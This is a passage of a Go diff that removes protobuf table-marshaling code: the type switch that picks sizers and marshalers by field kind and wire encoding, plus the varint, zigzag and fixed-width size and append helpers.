{ - if slice { - return makeStdUInt64ValuePtrSliceMarshaler(getMarshalInfo(t)) - } - return makeStdUInt64ValuePtrMarshaler(getMarshalInfo(t)) - } - if slice { - return makeStdUInt64ValueSliceMarshaler(getMarshalInfo(t)) - } - return makeStdUInt64ValueMarshaler(getMarshalInfo(t)) - case reflect.Int32: - if pointer { - if slice { - return makeStdInt32ValuePtrSliceMarshaler(getMarshalInfo(t)) - } - return makeStdInt32ValuePtrMarshaler(getMarshalInfo(t)) - } - if slice { - return makeStdInt32ValueSliceMarshaler(getMarshalInfo(t)) - } - return makeStdInt32ValueMarshaler(getMarshalInfo(t)) - case reflect.Uint32: - if pointer { - if slice { - return makeStdUInt32ValuePtrSliceMarshaler(getMarshalInfo(t)) - } - return makeStdUInt32ValuePtrMarshaler(getMarshalInfo(t)) - } - if slice { - return makeStdUInt32ValueSliceMarshaler(getMarshalInfo(t)) - } - return makeStdUInt32ValueMarshaler(getMarshalInfo(t)) - case reflect.Bool: - if pointer { - if slice { - return makeStdBoolValuePtrSliceMarshaler(getMarshalInfo(t)) - } - return makeStdBoolValuePtrMarshaler(getMarshalInfo(t)) - } - if slice { - return makeStdBoolValueSliceMarshaler(getMarshalInfo(t)) - } - return makeStdBoolValueMarshaler(getMarshalInfo(t)) - case reflect.String: - if pointer { - if slice { - return makeStdStringValuePtrSliceMarshaler(getMarshalInfo(t)) - } - return makeStdStringValuePtrMarshaler(getMarshalInfo(t)) - } - if slice { - return makeStdStringValueSliceMarshaler(getMarshalInfo(t)) - } - return makeStdStringValueMarshaler(getMarshalInfo(t)) - case uint8SliceType: - if pointer { - if slice { - return makeStdBytesValuePtrSliceMarshaler(getMarshalInfo(t)) - } - return makeStdBytesValuePtrMarshaler(getMarshalInfo(t)) - } - if slice { - return makeStdBytesValueSliceMarshaler(getMarshalInfo(t)) - } - return makeStdBytesValueMarshaler(getMarshalInfo(t)) - default: - panic(fmt.Sprintf("unknown wktpointer type %#v", t)) - } - } - - switch t.Kind() { - case reflect.Bool: - if pointer { - return sizeBoolPtr, appendBoolPtr - } - if slice { - if packed { - return sizeBoolPackedSlice, appendBoolPackedSlice - } - return sizeBoolSlice, appendBoolSlice - } - if nozero { - return sizeBoolValueNoZero, appendBoolValueNoZero - } - return sizeBoolValue, appendBoolValue - case reflect.Uint32: - switch encoding { - case "fixed32": - if pointer { - return sizeFixed32Ptr, appendFixed32Ptr - } - if slice { - if packed { - return sizeFixed32PackedSlice, appendFixed32PackedSlice - } - return sizeFixed32Slice, appendFixed32Slice - } - if nozero { - return sizeFixed32ValueNoZero, appendFixed32ValueNoZero - } - return sizeFixed32Value, appendFixed32Value - case "varint": - if pointer { - return sizeVarint32Ptr, appendVarint32Ptr - } - if slice { - if packed { - return sizeVarint32PackedSlice, appendVarint32PackedSlice - } - return sizeVarint32Slice, appendVarint32Slice - } - if nozero { - return sizeVarint32ValueNoZero, appendVarint32ValueNoZero - } - return sizeVarint32Value, appendVarint32Value - } - case reflect.Int32: - switch encoding { - case "fixed32": - if pointer { - return sizeFixedS32Ptr, appendFixedS32Ptr - } - if slice { - if packed { - return sizeFixedS32PackedSlice, appendFixedS32PackedSlice - } - return sizeFixedS32Slice, appendFixedS32Slice - } - if nozero { - return sizeFixedS32ValueNoZero, appendFixedS32ValueNoZero - } - return sizeFixedS32Value, appendFixedS32Value - case "varint": - if pointer { - return sizeVarintS32Ptr, appendVarintS32Ptr - } - if slice { - if packed { - return sizeVarintS32PackedSlice, appendVarintS32PackedSlice - } - return sizeVarintS32Slice, appendVarintS32Slice - } - if nozero { - return sizeVarintS32ValueNoZero, appendVarintS32ValueNoZero - } - return sizeVarintS32Value, appendVarintS32Value - case "zigzag32": - if pointer { - return sizeZigzag32Ptr, appendZigzag32Ptr - } - if slice { - if packed { - return sizeZigzag32PackedSlice, appendZigzag32PackedSlice - } - return sizeZigzag32Slice, appendZigzag32Slice - } - if nozero { - return sizeZigzag32ValueNoZero, appendZigzag32ValueNoZero - } - return sizeZigzag32Value, appendZigzag32Value - } - case reflect.Uint64: - switch encoding { - case "fixed64": - if pointer { - return sizeFixed64Ptr, appendFixed64Ptr - } - if slice { - if packed { - return sizeFixed64PackedSlice, appendFixed64PackedSlice - } - return sizeFixed64Slice, appendFixed64Slice - } - if nozero { - return sizeFixed64ValueNoZero, appendFixed64ValueNoZero - } - return sizeFixed64Value, appendFixed64Value - case "varint": - if pointer { - return sizeVarint64Ptr, appendVarint64Ptr - } - if slice { - if packed { - return sizeVarint64PackedSlice, appendVarint64PackedSlice - } - return sizeVarint64Slice, appendVarint64Slice - } - if nozero { - return sizeVarint64ValueNoZero, appendVarint64ValueNoZero - } - return sizeVarint64Value, appendVarint64Value - } - case reflect.Int64: - switch encoding { - case "fixed64": - if pointer { - return sizeFixedS64Ptr, appendFixedS64Ptr - } - if slice { - if packed { - return sizeFixedS64PackedSlice, appendFixedS64PackedSlice - } - return sizeFixedS64Slice, appendFixedS64Slice - } - if nozero { - return sizeFixedS64ValueNoZero, appendFixedS64ValueNoZero - } - return sizeFixedS64Value, appendFixedS64Value - case "varint": - if pointer { - return sizeVarintS64Ptr, appendVarintS64Ptr - } - if slice { - if packed { - return sizeVarintS64PackedSlice, appendVarintS64PackedSlice - } - return sizeVarintS64Slice, appendVarintS64Slice - } - if nozero { - return sizeVarintS64ValueNoZero, appendVarintS64ValueNoZero - } - return sizeVarintS64Value, appendVarintS64Value - case "zigzag64": - if pointer { - return sizeZigzag64Ptr, appendZigzag64Ptr - } - if slice { - if packed { - return sizeZigzag64PackedSlice, appendZigzag64PackedSlice - } - return sizeZigzag64Slice, appendZigzag64Slice - } - if nozero { - return sizeZigzag64ValueNoZero, appendZigzag64ValueNoZero - } - return sizeZigzag64Value, appendZigzag64Value - } - case reflect.Float32: - if pointer { - return sizeFloat32Ptr, appendFloat32Ptr - } - if slice { - if packed { - return sizeFloat32PackedSlice, appendFloat32PackedSlice - } - return sizeFloat32Slice, appendFloat32Slice - } - if nozero { - return sizeFloat32ValueNoZero, appendFloat32ValueNoZero - } - return sizeFloat32Value, appendFloat32Value - case reflect.Float64: - if pointer { - return sizeFloat64Ptr, appendFloat64Ptr - } - if slice { - if packed { - return sizeFloat64PackedSlice, appendFloat64PackedSlice - } - return sizeFloat64Slice, appendFloat64Slice - } - if nozero { - return sizeFloat64ValueNoZero, appendFloat64ValueNoZero - } - return sizeFloat64Value, appendFloat64Value - case reflect.String: - if validateUTF8 { - if pointer { - return sizeStringPtr, appendUTF8StringPtr - } - if slice { - return sizeStringSlice, appendUTF8StringSlice - } - if nozero { - return sizeStringValueNoZero, appendUTF8StringValueNoZero - } - return sizeStringValue, appendUTF8StringValue - } - if pointer { - return sizeStringPtr, appendStringPtr - } - if slice { - return sizeStringSlice, appendStringSlice - } - if nozero { - return sizeStringValueNoZero, appendStringValueNoZero - } - return sizeStringValue, appendStringValue - case reflect.Slice: - if slice { - return sizeBytesSlice, appendBytesSlice - } - if oneof { - // Oneof bytes field may also have "proto3" tag. - // We want to marshal it as a oneof field. Do this - // check before the proto3 check. - return sizeBytesOneof, appendBytesOneof - } - if proto3 { - return sizeBytes3, appendBytes3 - } - return sizeBytes, appendBytes - case reflect.Struct: - switch encoding { - case "group": - if slice { - return makeGroupSliceMarshaler(getMarshalInfo(t)) - } - return makeGroupMarshaler(getMarshalInfo(t)) - case "bytes": - if pointer { - if slice { - return makeMessageSliceMarshaler(getMarshalInfo(t)) - } - return makeMessageMarshaler(getMarshalInfo(t)) - } else { - if slice { - return makeMessageRefSliceMarshaler(getMarshalInfo(t)) - } - return makeMessageRefMarshaler(getMarshalInfo(t)) - } - } - } - panic(fmt.Sprintf("unknown or mismatched type: type: %v, wire type: %v", t, encoding)) -} - -// Below are functions to size/marshal a specific type of a field. -// They are stored in the field's info, and called by function pointers. -// They have type sizer or marshaler. - -func sizeFixed32Value(_ pointer, tagsize int) int { - return 4 + tagsize -} -func sizeFixed32ValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toUint32() - if v == 0 { - return 0 - } - return 4 + tagsize -} -func sizeFixed32Ptr(ptr pointer, tagsize int) int { - p := *ptr.toUint32Ptr() - if p == nil { - return 0 - } - return 4 + tagsize -} -func sizeFixed32Slice(ptr pointer, tagsize int) int { - s := *ptr.toUint32Slice() - return (4 + tagsize) * len(s) -} -func sizeFixed32PackedSlice(ptr pointer, tagsize int) int { - s := *ptr.toUint32Slice() - if len(s) == 0 { - return 0 - } - return 4*len(s) + SizeVarint(uint64(4*len(s))) + tagsize -} -func sizeFixedS32Value(_ pointer, tagsize int) int { - return 4 + tagsize -} -func sizeFixedS32ValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toInt32() - if v == 0 { - return 0 - } - return 4 + tagsize -} -func sizeFixedS32Ptr(ptr pointer, tagsize int) int { - p := ptr.getInt32Ptr() - if p == nil { - return 0 - } - return 4 + tagsize -} -func sizeFixedS32Slice(ptr pointer, tagsize int) int { - s := ptr.getInt32Slice() - return (4 + tagsize) * len(s) -} -func sizeFixedS32PackedSlice(ptr pointer, tagsize int) int { - s := ptr.getInt32Slice() - if len(s) == 0 { - return 0 - } - return 4*len(s) + SizeVarint(uint64(4*len(s))) + tagsize -} -func sizeFloat32Value(_ pointer, tagsize int) int { - return 4 + tagsize -} -func sizeFloat32ValueNoZero(ptr pointer, tagsize int) int { - v := math.Float32bits(*ptr.toFloat32()) - if v == 0 { - return 0 - } - return 4 + tagsize -} -func sizeFloat32Ptr(ptr pointer, tagsize int) int { - p := *ptr.toFloat32Ptr() - if p == nil { - return 0 - } - return 4 + tagsize -} -func sizeFloat32Slice(ptr pointer, tagsize int) int { - s := *ptr.toFloat32Slice() - return (4 + tagsize) * len(s) -} -func sizeFloat32PackedSlice(ptr pointer, tagsize int) int { - s := *ptr.toFloat32Slice() - if len(s) == 0 { - return 0 - } - return 4*len(s) + SizeVarint(uint64(4*len(s))) + tagsize -} -func sizeFixed64Value(_ pointer, tagsize int) int { - return 8 + tagsize -} -func sizeFixed64ValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toUint64() - if v == 0 { - return 0 - } - return 8 + tagsize -} -func sizeFixed64Ptr(ptr pointer, tagsize int) int { - p := *ptr.toUint64Ptr() - if p == nil { - return 0 - } - return 8 + tagsize -} -func sizeFixed64Slice(ptr pointer, tagsize int) int { - s := *ptr.toUint64Slice() - return (8 + tagsize) * len(s) -} -func sizeFixed64PackedSlice(ptr pointer, tagsize int) int { - s := *ptr.toUint64Slice() - if len(s) == 0 { - return 0 - } - return 8*len(s) + SizeVarint(uint64(8*len(s))) + tagsize -} -func sizeFixedS64Value(_ pointer, tagsize int) int { - return 8 + tagsize -} -func sizeFixedS64ValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toInt64() - if v == 0 { - return 0 - } - return 8 + tagsize -} -func sizeFixedS64Ptr(ptr pointer, tagsize int) int { - p := *ptr.toInt64Ptr() - if p == nil { - return 0 - } - return 8 + tagsize -} -func sizeFixedS64Slice(ptr pointer, tagsize int) int { - s := *ptr.toInt64Slice() - return (8 + tagsize) * len(s) -} -func sizeFixedS64PackedSlice(ptr pointer, tagsize int) int { - s := *ptr.toInt64Slice() - if len(s) == 0 { - return 0 - } - return 8*len(s) + SizeVarint(uint64(8*len(s))) + tagsize -} -func sizeFloat64Value(_ pointer, tagsize int) int { - return 8 + tagsize -} -func sizeFloat64ValueNoZero(ptr pointer, tagsize int) int { - v := math.Float64bits(*ptr.toFloat64()) - if v == 0 { - return 0 - } - return 8 + tagsize -} -func sizeFloat64Ptr(ptr pointer, tagsize int) int { - p := *ptr.toFloat64Ptr() - if p == nil { - return 0 - } - return 8 + tagsize -} -func sizeFloat64Slice(ptr pointer, tagsize int) int { - s := *ptr.toFloat64Slice() - return (8 + tagsize) * len(s) -} -func sizeFloat64PackedSlice(ptr pointer, tagsize int) int { - s := *ptr.toFloat64Slice() - if len(s) == 0 { - return 0 - } - return 8*len(s) + SizeVarint(uint64(8*len(s))) + tagsize -} -func sizeVarint32Value(ptr pointer, tagsize int) int { - v := *ptr.toUint32() - return SizeVarint(uint64(v)) + tagsize -} -func sizeVarint32ValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toUint32() - if v == 0 { - return 0 - } - return SizeVarint(uint64(v)) + tagsize -} -func sizeVarint32Ptr(ptr pointer, tagsize int) int { - p := *ptr.toUint32Ptr() - if p == nil { - return 0 - } - return SizeVarint(uint64(*p)) + tagsize -} -func sizeVarint32Slice(ptr pointer, tagsize int) int { - s := *ptr.toUint32Slice() - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v)) + tagsize - } - return n -} -func sizeVarint32PackedSlice(ptr pointer, tagsize int) int { - s := *ptr.toUint32Slice() - if len(s) == 0 { - return 0 - } - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v)) - } - return n + SizeVarint(uint64(n)) + tagsize -} -func sizeVarintS32Value(ptr pointer, tagsize int) int { - v := *ptr.toInt32() - return SizeVarint(uint64(v)) + tagsize -} -func sizeVarintS32ValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toInt32() - if v == 0 { - return 0 - } - return SizeVarint(uint64(v)) + tagsize -} -func sizeVarintS32Ptr(ptr pointer, tagsize int) int { - p := ptr.getInt32Ptr() - if p == nil { - return 0 - } - return SizeVarint(uint64(*p)) + tagsize -} -func sizeVarintS32Slice(ptr pointer, tagsize int) int { - s := ptr.getInt32Slice() - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v)) + tagsize - } - return n -} -func sizeVarintS32PackedSlice(ptr pointer, tagsize int) int { - s := ptr.getInt32Slice() - if len(s) == 0 { - return 0 - } - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v)) - } - return n + SizeVarint(uint64(n)) + tagsize -} -func sizeVarint64Value(ptr pointer, tagsize int) int { - v := *ptr.toUint64() - return SizeVarint(v) + tagsize -} -func sizeVarint64ValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toUint64() - if v == 0 { - return 0 - } - return SizeVarint(v) + tagsize -} -func sizeVarint64Ptr(ptr pointer, tagsize int) int { - p := *ptr.toUint64Ptr() - if p == nil { - return 0 - } - return SizeVarint(*p) + tagsize -} -func sizeVarint64Slice(ptr pointer, tagsize int) int { - s := *ptr.toUint64Slice() - n := 0 - for _, v := range s { - n += SizeVarint(v) + tagsize - } - return n -} -func sizeVarint64PackedSlice(ptr pointer, tagsize int) int { - s := *ptr.toUint64Slice() - if len(s) == 0 { - return 0 - } - n := 0 - for _, v := range s { - n += SizeVarint(v) - } - return n + SizeVarint(uint64(n)) + tagsize -} -func sizeVarintS64Value(ptr pointer, tagsize int) int { - v := *ptr.toInt64() - return SizeVarint(uint64(v)) + tagsize -} -func sizeVarintS64ValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toInt64() - if v == 0 { - return 0 - } - return SizeVarint(uint64(v)) + tagsize -} -func sizeVarintS64Ptr(ptr pointer, tagsize int) int { - p := *ptr.toInt64Ptr() - if p == nil { - return 0 - } - return SizeVarint(uint64(*p)) + tagsize -} -func sizeVarintS64Slice(ptr pointer, tagsize int) int { - s := *ptr.toInt64Slice() - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v)) + tagsize - } - return n -} -func sizeVarintS64PackedSlice(ptr pointer, tagsize int) int { - s := *ptr.toInt64Slice() - if len(s) == 0 { - return 0 - } - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v)) - } - return n + SizeVarint(uint64(n)) + tagsize -} -func sizeZigzag32Value(ptr pointer, tagsize int) int { - v := *ptr.toInt32() - return SizeVarint(uint64((uint32(v)<<1)^uint32((int32(v)>>31)))) + tagsize -} -func sizeZigzag32ValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toInt32() - if v == 0 { - return 0 - } - return SizeVarint(uint64((uint32(v)<<1)^uint32((int32(v)>>31)))) + tagsize -} -func sizeZigzag32Ptr(ptr pointer, tagsize int) int { - p := ptr.getInt32Ptr() - if p == nil { - return 0 - } - v := *p - return SizeVarint(uint64((uint32(v)<<1)^uint32((int32(v)>>31)))) + tagsize -} -func sizeZigzag32Slice(ptr pointer, tagsize int) int { - s := ptr.getInt32Slice() - n := 0 - for _, v := range s { - n += SizeVarint(uint64((uint32(v)<<1)^uint32((int32(v)>>31)))) + tagsize - } - return n -} -func sizeZigzag32PackedSlice(ptr pointer, tagsize int) int { - s := ptr.getInt32Slice() - if len(s) == 0 { - return 0 - } - n := 0 - for _, v := range s { - n += SizeVarint(uint64((uint32(v) << 1) ^ uint32((int32(v) >> 31)))) - } - return n + SizeVarint(uint64(n)) + tagsize -} -func sizeZigzag64Value(ptr pointer, tagsize int) int { - v := *ptr.toInt64() - return SizeVarint(uint64(v<<1)^uint64((int64(v)>>63))) + tagsize -} -func sizeZigzag64ValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toInt64() - if v == 0 { - return 0 - } - return SizeVarint(uint64(v<<1)^uint64((int64(v)>>63))) + tagsize -} -func sizeZigzag64Ptr(ptr pointer, tagsize int) int { - p := *ptr.toInt64Ptr() - if p == nil { - return 0 - } - v := *p - return SizeVarint(uint64(v<<1)^uint64((int64(v)>>63))) + tagsize -} -func sizeZigzag64Slice(ptr pointer, tagsize int) int { - s := *ptr.toInt64Slice() - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v<<1)^uint64((int64(v)>>63))) + tagsize - } - return n -} -func sizeZigzag64PackedSlice(ptr pointer, tagsize int) int { - s := *ptr.toInt64Slice() - if len(s) == 0 { - return 0 - } - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v<<1) ^ uint64((int64(v) >> 63))) - } - return n + SizeVarint(uint64(n)) + tagsize -} -func sizeBoolValue(_ pointer, tagsize int) int { - return 1 + tagsize -} -func sizeBoolValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toBool() - if !v { - return 0 - } - return 1 + tagsize -} -func sizeBoolPtr(ptr pointer, tagsize int) int { - p := *ptr.toBoolPtr() - if p == nil { - return 0 - } - return 1 + tagsize -} -func sizeBoolSlice(ptr pointer, tagsize int) int { - s := *ptr.toBoolSlice() - return (1 + tagsize) * len(s) -} -func sizeBoolPackedSlice(ptr pointer, tagsize int) int { - s := *ptr.toBoolSlice() - if len(s) == 0 { - return 0 - } - return len(s) + SizeVarint(uint64(len(s))) + tagsize -} -func sizeStringValue(ptr pointer, tagsize int) int { - v := *ptr.toString() - return len(v) + SizeVarint(uint64(len(v))) + tagsize -} -func sizeStringValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toString() - if v == "" { - return 0 - } - return len(v) + SizeVarint(uint64(len(v))) + tagsize -} -func sizeStringPtr(ptr pointer, tagsize int) int { - p := *ptr.toStringPtr() - if p == nil { - return 0 - } - v := *p - return len(v) + SizeVarint(uint64(len(v))) + tagsize -} -func sizeStringSlice(ptr pointer, tagsize int) int { - s := *ptr.toStringSlice() - n := 0 - for _, v := range s { - n += len(v) + SizeVarint(uint64(len(v))) + tagsize - } - return n -} -func sizeBytes(ptr pointer, tagsize int) int { - v := *ptr.toBytes() - if v == nil { - return 0 - } - return len(v) + SizeVarint(uint64(len(v))) + tagsize -} -func sizeBytes3(ptr pointer, tagsize int) int { - v := *ptr.toBytes() - if len(v) == 0 { - return 0 - } - return len(v) + SizeVarint(uint64(len(v))) + tagsize -} -func sizeBytesOneof(ptr pointer, tagsize int) int { - v := *ptr.toBytes() - return len(v) + SizeVarint(uint64(len(v))) + tagsize -} -func sizeBytesSlice(ptr pointer, tagsize int) int { - s := *ptr.toBytesSlice() - n := 0 - for _, v := range s { - n += len(v) + SizeVarint(uint64(len(v))) + tagsize - } - return n -} - -// appendFixed32 appends an encoded fixed32 to b. -func appendFixed32(b []byte, v uint32) []byte { - b = append(b, - byte(v), - byte(v>>8), - byte(v>>16), - byte(v>>24)) - return b -} - -// appendFixed64 appends an encoded fixed64 to b. -func appendFixed64(b []byte, v uint64) []byte { - b = append(b, - byte(v), - byte(v>>8), - byte(v>>16), - byte(v>>24), - byte(v>>32), - byte(v>>40), - byte(v>>48), - byte(v>>56)) - return b -} - -// appendVarint appends an encoded varint to b. -func appendVarint(b []byte, v uint64) []byte { - // TODO: make 1-byte (maybe 2-byte) case inline-able, once we - // have non-leaf inliner. - switch { - case v < 1<<7: - b = append(b, byte(v)) - case v < 1<<14: - b = append(b, - byte(v&0x7f|0x80), - byte(v>>7)) - case v < 1<<21: - b = append(b, - byte(v&0x7f|0x80), - byte((v>>7)&0x7f|0x80), - byte(v>>14)) - case v < 1<<28: - b = append(b, - byte(v&0x7f|0x80), - byte((v>>7)&0x7f|0x80), - byte((v>>14)&0x7f|0x80), - byte(v>>21)) - case v < 1<<35: - b = append(b, - byte(v&0x7f|0x80), - byte((v>>7)&0x7f|0x80), - byte((v>>14)&0x7f|0x80), - byte((v>>21)&0x7f|0x80), - byte(v>>28)) - case v < 1<<42: - b = append(b, - byte(v&0x7f|0x80), - byte((v>>7)&0x7f|0x80), - byte((v>>14)&0x7f|0x80), - byte((v>>21)&0x7f|0x80), - byte((v>>28)&0x7f|0x80), - byte(v>>35)) - case v < 1<<49: - b = append(b, - byte(v&0x7f|0x80), - byte((v>>7)&0x7f|0x80), - byte((v>>14)&0x7f|0x80), - byte((v>>21)&0x7f|0x80), - byte((v>>28)&0x7f|0x80), - byte((v>>35)&0x7f|0x80), - byte(v>>42)) - case v < 1<<56: - b = append(b, - byte(v&0x7f|0x80), - byte((v>>7)&0x7f|0x80), - byte((v>>14)&0x7f|0x80), - byte((v>>21)&0x7f|0x80), - byte((v>>28)&0x7f|0x80), - byte((v>>35)&0x7f|0x80), - byte((v>>42)&0x7f|0x80), - byte(v>>49)) - case v < 1<<63: - b = append(b, - byte(v&0x7f|0x80), - byte((v>>7)&0x7f|0x80), - byte((v>>14)&0x7f|0x80), - byte((v>>21)&0x7f|0x80), - byte((v>>28)&0x7f|0x80), - byte((v>>35)&0x7f|0x80), - byte((v>>42)&0x7f|0x80), - byte((v>>49)&0x7f|0x80), - byte(v>>56)) - default: - b = append(b, - byte(v&0x7f|0x80), - byte((v>>7)&0x7f|0x80), - byte((v>>14)&0x7f|0x80), - byte((v>>21)&0x7f|0x80), - byte((v>>28)&0x7f|0x80), - byte((v>>35)&0x7f|0x80), - byte((v>>42)&0x7f|0x80), - byte((v>>49)&0x7f|0x80), - byte((v>>56)&0x7f|0x80), - 1) - } - return b -} - -func appendFixed32Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toUint32() - b = appendVarint(b, wiretag) - b = appendFixed32(b, v) - return b, nil -} -func appendFixed32ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toUint32() - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed32(b, v) - return b, nil -} -func appendFixed32Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := *ptr.toUint32Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed32(b, *p) - return b, nil -} -func appendFixed32Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toUint32Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendFixed32(b, v) - } - return b, nil -} -func appendFixed32PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toUint32Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - b = appendVarint(b, uint64(4*len(s))) - for _, v := range s { - b = appendFixed32(b, v) - } - return b, nil -} -func appendFixedS32Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt32() - b = appendVarint(b, wiretag) - b = appendFixed32(b, uint32(v)) - return b, nil -} -func appendFixedS32ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt32() - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed32(b, uint32(v)) - return b, nil -} -func appendFixedS32Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := ptr.getInt32Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed32(b, uint32(*p)) - return b, nil -} -func appendFixedS32Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := ptr.getInt32Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendFixed32(b, uint32(v)) - } - return b, nil -} -func appendFixedS32PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := ptr.getInt32Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - b = appendVarint(b, uint64(4*len(s))) - for _, v := range s { - b = appendFixed32(b, uint32(v)) - } - return b, nil -} -func appendFloat32Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := math.Float32bits(*ptr.toFloat32()) - b = appendVarint(b, wiretag) - b = appendFixed32(b, v) - return b, nil -} -func appendFloat32ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := math.Float32bits(*ptr.toFloat32()) - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed32(b, v) - return b, nil -} -func appendFloat32Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := *ptr.toFloat32Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed32(b, math.Float32bits(*p)) - return b, nil -} -func appendFloat32Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toFloat32Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendFixed32(b, math.Float32bits(v)) - } - return b, nil -} -func appendFloat32PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toFloat32Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - b = appendVarint(b, uint64(4*len(s))) - for _, v := range s { - b = appendFixed32(b, math.Float32bits(v)) - } - return b, nil -} -func appendFixed64Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toUint64() - b = appendVarint(b, wiretag) - b = appendFixed64(b, v) - return b, nil -} -func appendFixed64ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toUint64() - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed64(b, v) - return b, nil -} -func appendFixed64Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := *ptr.toUint64Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed64(b, *p) - return b, nil -} -func appendFixed64Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toUint64Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendFixed64(b, v) - } - return b, nil -} -func appendFixed64PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toUint64Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - b = appendVarint(b, uint64(8*len(s))) - for _, v := range s { - b = appendFixed64(b, v) - } - return b, nil -} -func appendFixedS64Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt64() - b = appendVarint(b, wiretag) - b = appendFixed64(b, uint64(v)) - return b, nil -} -func appendFixedS64ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt64() - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed64(b, uint64(v)) - return b, nil -} -func appendFixedS64Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := *ptr.toInt64Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed64(b, uint64(*p)) - return b, nil -} -func appendFixedS64Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toInt64Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendFixed64(b, uint64(v)) - } - return b, nil -} -func appendFixedS64PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toInt64Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - b = appendVarint(b, uint64(8*len(s))) - for _, v := range s { - b = appendFixed64(b, uint64(v)) - } - return b, nil -} -func appendFloat64Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := math.Float64bits(*ptr.toFloat64()) - b = appendVarint(b, wiretag) - b = appendFixed64(b, v) - return b, nil -} -func appendFloat64ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := math.Float64bits(*ptr.toFloat64()) - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed64(b, v) - return b, nil -} -func appendFloat64Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := *ptr.toFloat64Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed64(b, math.Float64bits(*p)) - return b, nil -} -func appendFloat64Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toFloat64Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendFixed64(b, math.Float64bits(v)) - } - return b, nil -} -func appendFloat64PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toFloat64Slice() - if len(s) == 0 { - return b, nil - } - b = 